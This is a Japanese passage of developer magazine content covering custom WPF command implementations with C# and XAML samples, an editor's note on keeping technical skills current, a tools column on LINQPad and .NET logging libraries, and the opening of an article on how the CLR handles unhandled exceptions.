フォーカスをどちらかのユーザー コントロール内のテキスト ボックスに移すと、ウィンドウとフォーカス パス上のテキスト ボックスの間にあるユーザー コントロールによって、ツール バーとメニューのコマンドを有効にするコマンド ハンドラが提供されます。フォーカス パスだけでなく、ビジュアル ツリーのテキスト ボックスからルートまでのパスがチェックされるためです。また、ウィンドウ レベルのボタンとルートの間にハンドラが配置されることはないため、ウィンドウ レベルのボタンを有効にすることはできません。
上記の簡単な例でさえ、この難解なビジュアル ツリーとフォーカス パスのしくみに頭を悩ませているとしたら、コマンドの呼び出し元とハンドラがビジュアル ツリーのさまざまな場所に位置する非常に複雑な UI でコマンドの有効化や呼び出しを行うとしたらどうなるでしょうか。頭が破裂しそうですね。映画「スキャナーズ」のワンシーンが浮かんでくるようです。

コマンドの問題を回避する
ルーティング コマンドとビジュアル ツリーの位置に関係する問題を回避するには、シンプルな状態を保つ必要があります。通常は、コマンドを呼び出す要素か、ビジュアル ツリーでその要素よりも上層にある要素に、コマンド ハンドラを配置しなければなりません。そのための 1 つの方法が、コマンド ハンドラを提供するコントロールの CommandManager.RegisterClassCommandBinding メソッドを使用してコマンド バインディングをウィンドウ レベルに挿入する方法です。
ただし、それ自体がキーボード フォーカスを受け入れるカスタム コントロール (テキスト ボックスなど) を実装する場合は例外です。その場合は、コマンド処理をコントロール自体に組み込み、フォーカスがコントロールにあるときにだけそのコマンド処理が機能するようにすると、前述の Cut コマンドの例のようにうまく機能します。
フォーカスの問題への対処方法としては、CommandTarget プロパティを通じてコマンド ハンドラを明示的に指定する方法もあります。たとえば、図 5 では有効にできなかったウィンドウ レベルの [Save] (保存) ボタンの場合、そのコマンド フックアップを次のように変更できます。
<Button Command="Save"
  CommandTarget="{Binding ElementName=uc1}"
  Width="75" Height="25">Save</Button>
このコードでは、Button の CommandTarget は、コマンド ハンドラの含まれる UIElement インスタンスに明示的に設定されています。ここでは uc1 という名前の要素を指定していますが、これは上記の例の 2 つのユーザー コントロール インスタンスの一方に相当します。この要素には常に CanExecute = true を返すコマンド ハンドラがあるため、ウィンドウ レベルの [Save] (保存) ボタンは常に有効になり、コマンド ハンドラを基準とした呼び出し元の位置に関係なく、そのコントロールのコマンド ハンドラだけを呼び出します。

ルーティング コマンドの先を行く
ルーティング コマンドには制限があるため、WPF を使用して複雑な UI の構築に取り組んでいる多くの企業では、カスタム ICommand の実装を利用し始めています。これを利用すると、独自のルーティング メカニズム (特に、ビジュアル ツリーに結び付けられていない、複数のコマンド ハンドラをサポートできるルーティング メカニズム) を実現できます。
カスタム コマンドの実装を作成するのは、難しくありません。ICommand インターフェイスをクラスで実装し、コマンド ハンドラをフックする手段を提供して、コマンドが呼び出されたときにルーティングが実行されるようにします。また、CanExecuteChanged イベントを生成するタイミングを決定するためにどのような基準を使用するかを定める必要があります。
カスタム コマンドを作成する場合は、まずデリゲートを使用するとよいでしょう。デリゲートはターゲット メソッドの呼び出しをサポートしているうえに、複数のサブスクライバもサポートしています。
図 6 に、デリゲートを使用して複数のハンドラのフックを実現する、StringDelegateCommand と呼ばれるカスタム コマンド クラスを示します。このクラスは、ハンドラへの文字列引数の受け渡しをサポートしています。また、呼び出し元の CommandParameter を使用して、ハンドラに渡されるメッセージを特定します。
図 6 カスタム コマンド クラス
public class StringDelegateCommand : ICommand {
  Action<string> m_ExecuteTargets = delegate { };
  Func<bool> m_CanExecuteTargets = delegate { return false; };
  bool m_Enabled = false;

  public bool CanExecute(object parameter) {
    Delegate[] targets = m_CanExecuteTargets.GetInvocationList();
    foreach (Func<bool> target in targets) {
      m_Enabled = false;
      bool localenable = target.Invoke();
      if (localenable) {
        m_Enabled = true;
        break;
      }
    }
    return m_Enabled;
  }

  public void Execute(object parameter) {
    if (m_Enabled)
      m_ExecuteTargets(parameter != null ? parameter.ToString() : null);
  }

  public event EventHandler CanExecuteChanged = delegate { };

  ...
}
おわかりのように、Func<bool> デリゲートを使用して、コマンドが有効かどうかを判断するハンドラをフックしています。CanExecute の実装では、クラスは m_CanExecuteTargets デリゲートにフックされているハンドラを通じてループし、実行すべきハンドラがあるかどうかを確認します。実行すべきハンドラがある場合は true を返し、StringDelegateCommand は有効になります。Execute メソッドが呼び出されると、このメソッドは単にコマンドが有効であるかどうかを確認し、コマンドが有効な場合、m_ExecuteTargets Action<string> デリゲートにフックされているすべてのハンドラを呼び出します。
ハンドラを CanExecute メソッドおよび Execute メソッドにフックするため、StringDelegateCommand クラスは図 7 に示すイベント アクセサを公開し、ハンドラが基となるデリゲートをサブスクライブ/アンサブスクライブできるようにします。また、イベント アクセサによって、ハンドラがサブスクライブ/アンサブスクライブした際に CanExecuteChanged イベントをトリガできるようになります。
図 7 コマンドのイベント アクセサ
public event Action<string> ExecuteTargets {
  add {
    m_ExecuteTargets += value;
  }
  remove {
    m_ExecuteTargets -= value;
  }
}

public event Func<bool> CanExecuteTargets {
  add {
    m_CanExecuteTargets += value;
    CanExecuteChanged(this, EventArgs.Empty);
  }
  remove {
    m_CanExecuteTargets -= value;
    CanExecuteChanged(this, EventArgs.Empty);
  }
}

ルーティング ハンドラのサンプル
コード サンプルのサンプル アプリケーションでは、このクラスをフックしています。サンプルには、背後にプレゼンタのあるシンプルなビューが含まれます (MVP に従っていますが、モデルは含まれていません)。プレゼンタはデータ バインド用のビューにプレゼンテーション モデルを公開します (プレゼンテーション モデルは、プレゼンタとビューの間に位置すると考えることができます。一方、MVP のモデルはビューのプレゼンタの背後に位置します)。プレゼンテーション モデルは、通常、ビューがデータをバインドできるプロパティを公開します。この場合は、コマンドの単一のプロパティだけを公開し、データ バインドを通じてビューの XAML に簡単にフックできるようにします。
<Window x:Class="CustomCommandsDemo.SimpleView" ...>
  <Grid>
    <Button Command="{Binding CookDinnerCommand}"
      CommandParameter="Dinner is served!" ...>Cook Dinner</Button>
    <Button Click="OnAddHandler" ...>Add Cook Dinner Handler</Button>
  </Grid>
</Window>
Binding ステートメントは現在の DataContext で CookDinnerCommand という名前のプロパティを探し、それが見つかった場合には ICommand へのキャストを試みます。既に説明したように、CommandParameter は、呼び出し元がコマンドと共に一部のデータを渡すための手段です。ここでは、StringDelegateCommand を通じてハンドラに渡される文字列だけを渡しています。
ビューの分離コード (Window クラス) を次に示します。
public partial class SimpleView : Window {
  SimpleViewPresenter m_Presenter = new SimpleViewPresenter();

  public SimpleView() {
    InitializeComponent();
    DataContext = m_Presenter.Model;
  }

  private void OnAddHandler(object sender, RoutedEventArgs e) {
    m_Presenter.AddCommandHandler();
  }
}
ビューはそのプレゼンタを構成し、プレゼンタからプレゼンテーション モデルを取得します。そして、そのプレゼンテーション モデルを DataContext として設定します。ビューにはボタンの Click ハンドラもあります。このハンドラはプレゼンタを呼び出し、コマンドのハンドラを追加するようにプレゼンタに指示します。
複合イベントおよびコマンド
私は今年、Composite Application Guidance for WPF の作成を支援するため、Microsoft patterns & practices グループと共同で作業していました。Composite Application Guidance for WPF は、複雑な複合アプリケーションを WPF で開発するためのガイダンス セットです。このガイダンス セットには、複合アプリケーションのサービスとヘルパ クラスを提供する、Composite Application Libraries (CAL) と呼ばれるライブラリが含まれています。
Composite Application Guidance for WPF の詳細については、Glenn Block の記事「WPF で複合アプリケーションを作成するためのパターン」(msdn.microsoft.com/magazine/cc785479) を参照してください。
図 8 に、実行中のこのアプリケーションを示します。最初のウィンドウは、コマンド ハンドラがフックされていない初期状態のウィンドウです。コマンド ハンドラがないため、最初のボタン (呼び出し元) が無効になっていることがわかります。2 番目のボタンをクリックすると、プレゼンタが呼び出されて新しいコマンド ハンドラがフックされます。すると、最初のボタンが有効になります。そのボタンをクリックすると、データ バインドと基となるコマンドのサブスクライバ リストを通じてボタンが緩やかに結合されているコマンド ハンドラが呼び出されます。
図 8 実行中のカスタム コマンドのサンプル (クリックすると拡大画像が表示されます)
プレゼンタ コードを図 9 に示します。プレゼンタがプレゼンテーション モデルを構成し、それを Model プロパティを通じてビューに公開していることがわかります。AddCommandHandler が (2 番目のボタンの Click イベントに反応して) ビューから呼び出されると、AddCommandHandler によってモデルの CanExecuteTargets イベントと ExecuteTargets イベントにサブスクライバが追加されます。これらのサブスクリプション メソッドはプレゼンタにある単純なメソッドであり、それぞれ true を返して MessageBox を表示します。
図 9 プレゼンタ クラス
public class SimpleViewPresenter {
  public SimpleViewPresenter() {
    Model = new SimpleViewPresentationModel();
  }

  public SimpleViewPresentationModel Model { get; set; }

  public void AddCommandHandler() {
    Model.CookDinnerCommand.CanExecuteTargets += CanExecuteHandler;
    Model.CookDinnerCommand.ExecuteTargets += ExecuteHandler;
  }

  bool CanExecuteHandler() {
    return true;
  }

  void ExecuteHandler(string msg) {
    MessageBox.Show(msg);
  }
}
この例は、データ バインド、UI パターン、およびカスタム コマンドを組み合わせて使用することで、コマンドを実装するための独立した簡潔なアプローチが可能になることを示しています。ルーティング コマンドの制限に縛られることもありません。コマンドはバインドを通じて XAML にフックされます。そのため、このアプローチを応用し、XAML だけを使用してビューを定義すること (分離コードは使用しない)、XAML のバインドされたコマンドを使用してプレゼンテーション モデルでアクションをトリガすること、通常は分離コードで行っているアクションをプレゼンテーション モデルから開始することなどが可能です。
ビューを構成し、そのビューにプレゼンテーション モデルを提供するためのコントローラが必要になりますが、分離コードなしで対話型のビューを記述できます。分離コードが不要になると、UI アプリケーションの開発に付き物の、テスト不可能で複雑な密結合コードを分離コード ファイルに追加する手間をかなり省くことができます。これは WPF における初歩的なアプローチにすぎませんが、検討すべきものであることは間違いありません。さまざまな例を見逃さないようにしてください。
Brian Noyes は、IDesign Inc. (www.idesign.net) のチーフ アーキテクト、Microsoft Regional Director (www.theregion.com)、および Microsoft MVP を兼任しています。著書に、『Developing Applications with Windows Workflow Foundation』、『Smart Client Deployment with ClickOnce』、および『Data Binding with Windows Forms 2.0』があります。また、世界各地で開かれる業界のカンファレンスで講演も頻繁に行っています。briannoyes.net にブログを公開しています。


編集者のメモ
ロング テールから手を放すな
Howard Dierking

今月のラインナップに目を通すと、圧倒的多数の記事が新しいテクノロジを焦点としていることに驚かされます。SQL Server の新しい HierarchyID データ型 (Kent Tegels が説明しています) や ADO.NET Data Services (Shawn Wildermuth が取り上げています) など、それらの多くは近いうちに最終的な形で実際のプロジェクトで使用できるようになります。また、待望の Silverlight 2 のリリースも間近です。これについても Shawn Wildermuth が解説しています。
これらのことを考えていると、読者の皆さんがご自身の開発プロジェクトの中でどのような位置にいるのかが気になります。今月号では、Brian Noyes がルーティング コマンドやルーティング イベントなどの Windows Presentation Foundation (WPF) の高度な概念を紹介し、Glenn Block が WPF で疎結合された複合アプリケーションを構築するための戦略を検証しています。皆さんがもう XAML に移っているのか、それともほとんどの作業をまだ Windows フォームで行っているのか、とても興味があります。SQL Server 2008 の新しい HierarchyID データ型について考えるとき、私たちはこの機能が共通テーブル式 (CTE) を作成して再帰的な階層を移動する必要をなくすためにどのように役立つかに注目しますが、皆さんは CTE を実際に理解して使用できるほど SQL Server 2005 を十分に深く使いこなしているのでしょうか。
最近、『The Long Tail』(ロング テール) という話題の本を読みました。この本の主な前提の 1 つは、インターネットというテクノロジによって、大量販売市場が何百万ものニッチ市場へと変わりつつあるというものです。この本の著者は、Web が登場する前の経済は "ヒット" 商品によって動いており、その原動力は主に選択肢が少ないまたは不足していることの結果であったと主張しています。ところが、インターネットの時代になると、このモデルは無数の選択肢と代替品に分裂し、これを視覚的に表したグラフでは、テール (尻尾) 部分の商品の需要を合計すると、ヒット商品つまりグラフのヘッド (頭) の商品の需要に匹敵するかまたは凌駕してしまいます。これが、"ロング テール (長い尻尾)" という書名の由来です。
ソフトウェアについて考えてみると、確かにロング テール効果があるようです。Web では、大学の友人どうしで起業して開発したソフトウェア製品が、マイクロソフトのような大規模なソフトウェア企業が開発した類似製品と肩を並べて "陳列" されています。これにより、もう 1 つの原動力が生まれます。つまり、大規模なソフトウェア企業は、より大きな革新と、より頻繁なリリースに駆り立てられるのです。そして、この第 2 の原動力は一般的に見ればよいことだと思いますが、マイクロソフトのテクノロジ スタックを利用して開発を行う私たちにとっては、ストレスの原因になる可能性もあります。
なぜストレスなのでしょう。この図を動かしてみることができればもっとよくわかるのですが、長い尻尾はゼロになることはなく、頭は常に動いています。したがって、技術スキルに対する需要から生計を得ていて、その需要が速さを増しながら動き続ける頭を持つロング テール曲線に基づいているとすると、ランニングマシンの上で暮らしているようなものであり、だれかが速度と傾斜を同時に大きくし続けているのです。
さて、あなたはテクノロジの長い尻尾のどこにいるでしょうか。新しいスキルを習得する努力を続けていますか。それともなんらかのテクノロジを選んで独自のニッチを見つけましたか。状況を電子メールでお知らせください。

msdn.microsoft.com/magazine をご覧ください。MSDN Magazine に関するご質問、ご意見、ご提案は、編集者までお送りください (mmeditor@microsoft.com)。

今月号の記事の執筆に携わったマイクロソフトの技術部門の次の専門家に感謝します。Paul Andrew、Jonathan Aneja、Bob Brumfield、Jeff Cao、Kiran Dowluru、Ryan Duguid、Mike Flasko、Matt Gibbs、Kevin Gjerstad、Christian Kleinerman、Bertrand Le Roy、Varsha Mahadevan、Duane Need、Wayne Norton、Eugene Osovetsky、Dave Reed、Michael Rys、Gerhard Schneider、Michael Wang。


ツールボックス
簡単な LINQ クエリ、優れた開発者になる、ログ記録の支援
Scott Mitchell

記載価格は 2008 年 7 月 14 日時点のものであり、変更されている可能性があります。このコラムに記載されている見解は、執筆者の個人的な見解であり、必ずしもマイクロソフトの見解を反映するものではありません。

目次
LINQPad で LINQ スキルを磨く
注目のブログ
重要な情報、警告、およびエラーをログに記録する
LINQPad で LINQ スキルを磨く
Microsoft® .NET Framework 3.5 の主要な追加機能の 1 つが LINQ です。LINQ とは、汎用的なデータ クエリ構文を提供するために設計されたクラスおよび言語拡張のセットです。LINQ to Objects、LINQ to XML、および LINQ to SQL を使用すると、配列とコレクション、XML ドキュメント、およびデータベース テーブルの照会を行えます。いずれの場合も、IntelliSense® やコンパイル時の型チェックのような多彩な機能を持つ類似の構文を使用できます。ただし、従来のプログラミングで主に SQL によるデータ照会を実施してきた開発者にとって、LINQ 構文の導入が多大な混乱をもたらす可能性があります。
LINQ の学習には専門書の購入をお勧めします。各章を念入り読み、それぞれの例を実演し、結果を確認してみてください。もちろん LINQ サンプルは Visual Studio® 2008 で実施できますが、ここでは、私のお気に入りのツール、LINQPad (Version 1.24) を紹介したいと思います。Joseph Albahari 氏が作成した LINQPad は、LINQ クエリの記述とテストを行える無料のスタンドアロン プログラムです。
LINQPad のユーザー インターフェイスは、4 つのペインで構成されています。左上のペインには、データベース サーバーの一覧が表示されます。この一覧を展開すると、データベースとそのテーブル、ビュー、およびストアド プロシージャが表示されます。右上のペインでは、クエリを入力して LINQ クエリをテストできます。LINQ クエリを直接入力するか、または C# や Visual Basic® の LINQ クエリを実行するコードを入力します。クエリ対象のデータベースを左上のペインから選択して、LINQ to SQL クエリの記述とテストを行うこともできます。
右下のペインには、クエリの結果が表示されます。ここには 3 つのビューがあり、結果、対応するラムダ式、および同等の SQL ステートメントが表示されます。左下のペインは、よく使用するクエリを整理するためのワークスペースになっています。このペインの [Samples] (サンプル) タブには、Albahari 氏の著書『C# 3.0 in a Nutshell』(O'Reilly、2007 年) から引用された 200 以上の C# および Visual Basic のサンプル LINQ が含まれています。LINQ クエリに対応する SQL ステートメントを確認できる機能とこれらのサンプルは、LINQ を初めて扱うユーザーにとって非常に貴重な学習ツールです。
LINQPad は、SQL Server® Management Studio の小規模な LINQ ベース実装と言えます。データをアプリケーションで表示する SQL クエリを記述する場合は、通常、Visual Studio で最初からクエリを記述するよりも、Management Studio で記述してから Visual Studio で自分のコードにコピー & ペーストする方が簡単です。なぜなら、Visual Studio からクエリをテストするにはアプリケーションの実行が必要だからです。同様に、LINQ クエリの記述とテストは Visual Studio よりも LINQPad で行う方が簡単です。
LINQPad エディタでは、Visual Studio と同じように、キーワード、変数、文字列、およびコメントについてコードの色分けが行われ、エラーに下線 (赤と緑の破線) が引かれますが、IntelliSense はサポートされていません (将来の拡張として計画されています)。IntelliSense はありませんが、LINQPad はその直感的で軽いユーザー インターフェイス、多数の機能、およびたくさんのサンプルにより、LINQ クエリの学習、記述、およびテストのための優れたツールとなっています。
価格 : 無料
LINQPad.net
図 5 LINQPad.net ユーザー インターフェイス (クリックすると拡大画像が表示されます)

注目のブログ
私は日々の作業の中で、より優れた開発者になるという目的意識を持ち、技術的な競争力およびプログラミング スキルの向上に努めています。尊敬を集める開発者のブログでコーディングのヒントや秘訣を見つけたり、市販のコンピュータ書籍から知識を得たりします。オンライン フォーラムに質問や回答を書き込むこともあります。しかし、より優れた開発者になるには、新しい技術的なスキルの獲得だけでなく、もっと別の能力も必要とされるようです。Rob Waling 氏のブログにそのヒントがあります。
Rob 氏は、.NET Framework に関連するさまざまな分野で仕事をしてきました。現在は、小規模な開発企業を経営し、各種 ASP.NET アプリケーションのコンサルティングと販売を手がけています。彼は熱心なブログ作成者でもあります。ほとんどの開発者向けブログでは、最新技術の検証やプログラミングのヒントや秘訣の提供が行われていますが、Rob 氏のブログはそうではありません。彼のブログのユニークな点は、開発者としての成功に必要なビジネスおよび人間関係の側面を取り上げていることです。より優れた開発者になるための 11 の項目で構成されているシリーズでは、さまざまな領域にわたる解説が掲載されています。チームで構築を行うこと、プロジェクトや会社での自分の役割を理解すること、自分の長所と短所を把握すること、同僚のコードを建設的に評価することなど、各項目が示唆に富んだ内容であり、よくまとめられています。それぞれの開発者が肩書きや経験に関係なく、この読み物から何かを得ることができるでしょう。
Rob 氏のブログは、フリーになることを検討している開発者や、自分のアイデア、ツール、またはアプリケーションを製品化することに興味のある開発者にとって価値のある情報が満載です。個人事業を組織化する場合のアドバイス、提供する時間と製品に対する請求金額を算出するガイドライン、フリーランス開発者または小さな独立系ソフトウェアとして成功を勝ち取るために役立つお勧めのツールとビジネス プロセスが紹介されています。
softwarebyrob.com

重要な情報、警告、およびエラーをログに記録する
運用環境でエラーが発生した場合に重要なことは、開発者が後でエラーを調べて修正できるように、詳細がログに記録されて永続的なストアに格納されていることです。この件については、2008 年 4 月号の「ツールボックス」(msdn.microsoft.com/magazine/cc500592.aspx を参照) で取り上げ、ASP.NET Web アプリケーションでエラーを自動的にログに記録する 2 つの異なるシステムを検証しました。それらのシステムとは、ASP.NET 状態監視システムおよびエラー ログのモジュールとハンドラ (ELMAH: Error Logging Modules and Handlers) です。では、デスクトップ アプリケーションではエラー詳細のログ記録にどのようなツールを利用できるでしょうか。エラー以外の情報のログ記録についてはどうでしょうか。多くの行政、金融、および医療のアプリケーションでは、システムにアクセスした人物および参照または変更されたデータに関する情報を記録する監査ログの保持が必要とされています。
.NET ベースのアプリケーションに利用できるロギング ライブラリが数多く存在していますが、その中で最も成熟度が高く、広範に利用されているのが Enterprise Library と log4net です。Enterprise Library は、Microsoft patterns & practices グループにより作成されたアプリケーション ブロックのセットです。各アプリケーション ブロックは、ログ記録、データ アクセス、例外処理など一般的なエンタープライズ開発タスクの実行を支援するクラスのセットです。Logging Application Block を使用すると、任意の数のログ ストアに情報を簡単に記録できます。
アプリケーションから情報をログに記録するには、最初に、Logging Application Block を構成し、少なくとも使用するトレース リスナを指定する必要があります。トレース リスナは、ソースから情報を受け取って格納するオブジェクトであり、ログ エントリを特定のログ ストアに書き込むためのメカニズムです。Enterprise Library に付属する組み込みのトレース リスナを使用して、Windows® イベント ログ、データベース、テキスト ファイル、電子メール メッセージなどにログ エントリを格納することができます。また、自分でカスタム トレース リスナを作成して組み込むこともできます。
Logging Application Block の構成には、カテゴリ、フィルタ、およびフォーマッタを含めることもできます。カテゴリは、"データ アクセス エラー" や "デバッグ メッセージ" のようなログ エントリの種類の分類を定義する場合に使用できます。各ログ エントリは、カテゴリだけでなく、優先度や重要度などさまざまなプロパティにも関連付けられます。たとえば、ステージング サーバーで、優先度が 5 以上のエントリのみをログに記録する場合があるでしょう。運用サーバーで、"デバッグ メッセージ" のカテゴリに属するログ エントリを省略する場合もあるかもしれません。フィルタを使用して、記録するログ エントリを制限することもできます。また、フォーマッタを使用すると、ログ エントリの詳細を記録するときにテキストにシリアル化する方法をカスタマイズできます。
アプリケーションを構成した後で、Logging Application Block の API を使用してログ エントリをプログラムで作成します。たとえば、例外の詳細をログに記録するには、新しい LogEntry オブジェクトを try/catch ブロックの catch 部分に作成し、例外の詳細がキャプチャされるように LogEntry のプロパティを設定します。さらに、Logger クラスの Write メソッドを呼び出すことによりエントリをログに記録し、LogEntry インスタンスに渡します。次に、Logging Application Block では、ログ エントリをフィルタ、カテゴリ、およびフォーマッタに対して評価してログ エントリを格納するかどうかを判断し、格納すると判断した場合にはどのようにフォーマットするかを決定します。
Log4net は、Apache Software Foundation により管理されている、オープン ソースのロギング ライブラリです。これは log4j の .NET への移植であり、Java で記述されたアプリケーション用のロギング ライブラリです。Logging Application Block と log4net は使用している用語が異なっている場合もありますが、Logging Application Block の中核となる概念の多くが log4net でも採用されています。たとえば、log4net では、ログ エントリは (トレース リスナではなく) アペンダと呼ばれるオブジェクトによって記録されます。log4net には、Enterprise Library よりも多くのアペンダが付属しています。ADO.NET データ ソース、ASP.NET トレース、コンソール ウィンドウ、Windows イベント ログ、メモリ内バッファ、電子メール メッセージ、テキスト ファイルなど、さまざまなソースにログ記録するためのアペンダがあります。log4net では、Logging Application Block のフォーマッタに似たフィルタとレイアウトが提供されています。
log4net の構成の中で、複数のロガーを定義できます。Logging Application Block (および他の多数のロギング システム) との主な相違点の 1 つとして log4net に備わっているのが、ロガーの階層を作成する機能です。アプリケーション内から情報をログ記録するには、API の GetLogger メソッドを呼び出し、アクセスするロガーの名前またはタイプを渡します。ロガーは、呼び出されたときに特定のレベルのログ エントリを作成するさまざまなメソッドを提供します。DEBUG、INFO、WARN、FATAL などの値を持つレベルは、ログ エントリの優先度を示します。特定のロガーで所定のレベルを持つログ エントリにのみ応答するように、log4net の構成で指定できます。
ログ記録は、どのようなアプリケーションにおいても重要な側面です。少なくとも、エラーの詳細をログに記録する必要があります。また、デバッグ時や監査記録にもログ記録は役立ちます。Logging Application Block と log4net は、新しい .NET 対応アプリケーションで、または既存のアプリケーションに統合して使用できる、成熟したオープン ソースのロギング システムです。
価格 : 無料 (オープン ソース)
Enterprise Library 4.0:
go.microsoft.com/fwlink/?LinkId=122895
log4net:logging.apache.org/log4net
Enterprise Library 4.0 を構成する (クリックすると拡大画像が表示されます)

ご意見やご質問は、Scott (toolsmm@microsoft.com) までお送りください。

Scott Mitchell は、多数の著書を出版している執筆者であり、4GuysFromRolla.com の創設者です。また、1998 年からは Microsoft MVP としてマイクロソフトの Web テクノロジに携わっています。現在は、フリーのコンサルタント、トレーナー、およびライターとして活躍しています。Scott の連絡先は、Mitchell@4guysfromrolla.com です。また、ScottOnWriting.NET にブログを公開しています。

すべての価格は {取得日} の時点で確認された額です。


CLR 徹底解剖
CLR のハンドルされない例外の処理
Gaurav Khanna

この記事の印刷バージョンで参照されていますが、コードのダウンロードはないことに注意してください。
目次
マネージ例外処理
スレッド ベースおよびハンドルされないマネージ例外
CLR で作成されたスレッド上のハンドルされないマネージ例外
CLR 以外で作成されたスレッド上のハンドルされない例外
ハンドルされない例外の処理
AppDomain.UnhandledException イベント通知
将来的な考慮事項
ハンドルされない例外の処理は、不思議なものではありません。どのような問題が発生したのかについて最後の瞬間の診断ロギングを実行する機会がクラッシュしたアプリケーションに与えられるため、プロセス中に何が発生したのかを理解するのにかなり役立ちます。この診断情報は貴重であり、クラッシュを理解するのに要する時間を短縮できます。
それでは、ハンドルされない例外の処理とは何でしょうか。これは、スレッドのすべてのスタック フレームで例外ハンドラが検索され、何も見つからなかった場合にのみ、例外に対してトリガされる通常の例外処理メカニズムのフェーズです。
ここでは、マネージ例外のハンドルされない例外の処理が CLR によってどのように実装されるかを説明します。ただし、詳細に入る前に、マネージ例外処理の動作の概要を見てみましょう。
ここでは、読者に Windows® 構造化例外処理 (SEH) メカニズムおよび関連概念の知識があることを想定します。これらについて学習するには、microsoft.com/msj/0197/Exception/Exception.aspx から入手できる Matt Pietrek のすばらしい記事「Win32 構造化例外処理の詳細に関する速習講座」を参照してください。

マネージ例外処理
マネージ プログラミング モデルでは、例外の概念を使用して、スタックの上位の呼び出し元に実行時のエラー条件を通知します。通常、メソッドの呼び出し元は、メソッドがスロー (または生成) する可能性のある例外の種類を認識しているため、呼び出しは、関連する catch ブロックのある try ブロックまたはハンドラ ブロックのあるマネージ フィルタの境界内から行われます。
マネージ コードによって例外がスローされた場合 (または、アンセーフ マネージ コードのアクセス違反のように、非同期で生成された場合)、CLR は例外の発生時点に最も近い、最初に見つかったマネージ フレームからマネージ スタックの探索を開始し、マネージ例外ハンドラの検索を開始します。
特に記載のない限り、スタックは下方に拡大し、各行はその下のフレームを呼び出すマネージ フレームを表します。マネージ フレームがネイティブ フレームを呼び出す場合、ネイティブ フレームは明示的に呼び出されます。最上位フレームはエントリ ポイント フレームであり、最下位フレームは最後に実行されたコードのフレームです。
図 1 は、このようなコール スタックの例です。ここでは、Bar が例外をスローしたため、CLR は Bar から Main までマネージ スタックをたどって例外ハンドラを探します。この例では、Main は対象のスレッドのエントリ ポイント マネージ フレームとして機能します。
図 1 Bar が例外をスローする (クリックすると拡大画像が表示されます)
図 2 のダイアグラムは、Bar のマネージ コードが P/Invoke を使用してネイティブ関数 Nfunc を呼び出し、Nfunc が例外をスロー (たとえば、C++ 例外をスロー) する別のコール スタックを示しています。例外はネイティブ コードで発生したため、例外がネイティブ関数でキャッチされずにマネージ Bar メソッドに到達した場合を除いて、CLR は例外を認識しません。このような場合、CLR は、ネイティブ例外に対応するマネージ例外オブジェクトを作成し、Bar を含むフレームから例外ハンドラの検索を開始し、Main メソッドに到達するまで探し続けます。
図 2 Nfunc が例外をスローする (クリックすると拡大画像が表示されます)
2 つの例では、例外ハンドラは、スローされた例外のマネージ型を型一致規則に従って照合する catch ブロックにするか、CLR によって渡された例外オブジェクトを調べた後で例外の処理に同意するマネージ フィルタにすることができます。
この例では、Main に例外を処理するための catch ブロックがあるとします。例外が見つかった後、その内部で実行が再開される前に、CLR は例外アンワインド操作 (SEH 用語では第 2 パスとも呼ばれます) を開始して、例外が生成されたポイントから、例外の処理に合意した例外ハンドラの直前のポイントまでについて、finally 句を呼び出します。マネージ フレームの場合は、fault 句が存在すればこの句が呼び出されることにもなります。fault 句の詳細およびマネージ例外処理の概要については、ECMA 335 の仕様 (go.microsoft.com/fwlink/?LinkId=121873) を参照してください。
一般的なシナリオでは、finally/fault ブロックが必要なクリーンアップを実行します。これらのブロックがすべて実行された後で、CLR は、例外の処理に合意した catch ブロック (または、マネージ フィルタのハンドラ ブロック) 内の実行を再開します。

スレッド ベースおよびハンドルされないマネージ例外
前の例では、Main をスレッドのエントリ ポイント マネージ フレームとして定義しました。つまり、スレッドで実行される最初のマネージ フレームです。マネージ例外ハンドラがこの中に見つからない場合、CLR はハンドルされない例外プロセスのトリガに進みます。このハンドルされない例外の処理がどのようにトリガされるかは、スレッドがどのように作成されたかによって決まります。このトピックについてもう少し掘り下げてみましょう。
マネージ コードを実行できるスレッドは、2 種類に分類できます。CLR で作成されるスレッドがあり、このようなスレッドの場合、CLR はスレッドのベース (開始フレーム) を制御します。図 1 と 2 に示されているスタックは、このシナリオの例です。図 3 に、CLR 内で開始する場合のこのようなスレッドの実際のスタックを示します。
図 3 CLR によって作成されたスレッド (クリックすると拡大画像が表示されます)
CLR の外部で作成され、後で CLR に入ってマネージ コードを実行するスレッドもあります。このようなスレッドの場合、CLR はスレッド ベースを制御しません。図 4 のダイアグラムは、このケースを例示しています。
図 4 CLR の外部で作成されたスレッド (クリックすると拡大画像が表示されます)

CLR で作成されたスレッド上のハンドルされないマネージ例外
図 3 の例では、CLR が Main にマネージ例外ハンドラを見つけられない場合、例外はスレッドが開始した CLR 内のネイティブ フレームに到達します。このフレームで、CLR は、例外を飲み込む (これはブラインド キャッチと同じ意味です) ためのポリシーを適用する例外フィルタを確立しました。ポリシーが、例外を飲み込まないことを指定している場合 (これは Microsoft® .NET Framework 2.0 以降の既定です)、フィルタは CLR のハンドルされない例外の処理をトリガします。
この時点で、図 3 に示したケースに属するスレッドの種類は何であり、例外飲み込みポリシーとは何であるかを知りたいと思われるでしょう。最初の質問に対する答えは簡単です。System.Threading.Thread クラスを使用して作成するマネージ スレッドは、このカテゴリに属します。また、Finalizer スレッドと CLR スレッド プール スレッドもここに属します。例外は、既定のドメインで作成されるマネージ スレッドだけです。このようなスレッドは例外飲み込みポリシーをチェックしますが、例外が飲み込まれないことを想定して、ハンドルされない例外の処理のトリガの観点から図 4 のスレッドと同じパターンに従います。
2 つ目の質問に回答するには、例外処理の歴史を少し知っている必要があります。.NET Framework 1.0 および 1.1 では、CLR 内で作成されたスレッド上のハンドルされない例外は、スレッド ベース (つまり、CLR でスレッドが開始したネイティブ関数) で飲み込まれました。今から思うと、CLR は最初に例外が生成された理由について手掛かりを持たないため、この動作は逆だったと考えられます。つまり、このようにスタック上のどのマネージ フレームも処理することを希望していない例外の飲み込みは、アプリケーションまたはプロセスの状態がどの程度壊れているかを判断できないため誤りです。
例外が、アクセス違反などの壊れたプロセス状態を示す種類だった場合はどうでしょうか。アンセーフ マネージ コードを処理しているのでない限り、このような例外の飲み込みには意味がありません。最も重要なのは、例外の飲み込みは、実際にアプリケーションでどのような問題が発生したのかを開発者から隠すことです。
このため、.NET Framework 2.0 では、この動作が変更されました。CLR によって作成されたスレッド上のハンドルされない例外は、飲み込まれなくなりました。例外がスタック上のマネージ フレームによって処理されない場合、CLR は、ハンドルされない例外プロセスをトリガした後に、この例外を OS 側で処理不能とします。ハンドルされない例外はアプリケーション クラッシュの原因となり、クラッシュの詳細は、どのような問題が発生したのかを開発者が理解するのに役立ちます。
